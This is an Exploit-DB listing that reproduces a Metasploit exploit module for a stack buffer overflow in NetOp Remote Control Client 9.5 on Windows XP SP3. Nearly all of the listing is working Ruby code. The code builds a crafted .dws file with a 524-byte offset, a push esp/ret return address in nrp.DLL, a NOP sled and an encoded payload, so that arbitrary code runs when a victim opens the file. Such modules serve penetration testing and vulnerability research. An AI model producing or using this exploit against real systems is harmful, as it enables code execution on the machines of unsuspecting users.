NetOp Remote Control Client 9.5 - Buffer Overflow

2012-04-04T00:00:00
ID EDB-ID:18697
Type exploitdb
Reporter metasploit
Modified 2012-04-04T00:00:00

Description

NetOp Remote Control Client 9.5 Buffer Overflow'. Remote exploit for windows platform

                                        
                                            ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'NetOp Remote Control Client 9.5 Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack-based buffer overflow in NetOp Remote Control 9.5.
				When opening a .dws file containing a specially crafted string longer then 520 
				characters will allow an attacker to execute arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Ruben Alejandro "chap0"',
				],
			'References'     =>
				[
					[ 'OSVDB', '72291' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/17223/' ]
				],
			'DefaultOptions' =>
				{
					'ExitFunction' => 'process',
					'DisablePayloadHandler' => 'true'
				},
			'Platform'       => 'win',
			'Payload'        =>
				{
					'Space' => 2000,
					'BadChars' => "\x00\x0a\x0d",
					'DisableNops' => true,
					'StackAdjustment' => -3500
				},
			'Targets'        =>
				[
					[ 'Windows XP SP3',
						{
							'Ret' => 0x20d6c32c,  # push esp #  ret  - nrp.DLL
							'Offset' => 524
						}
					]
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Apr 28 2011',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.', 'msf.dws']),
			], self.class)

	end

	def exploit
		buffer =  rand_text(target['Offset'])
		buffer << [target.ret].pack('V')
		buffer << make_nops(30)
		buffer << payload.encoded

		file_create(buffer)
	end

end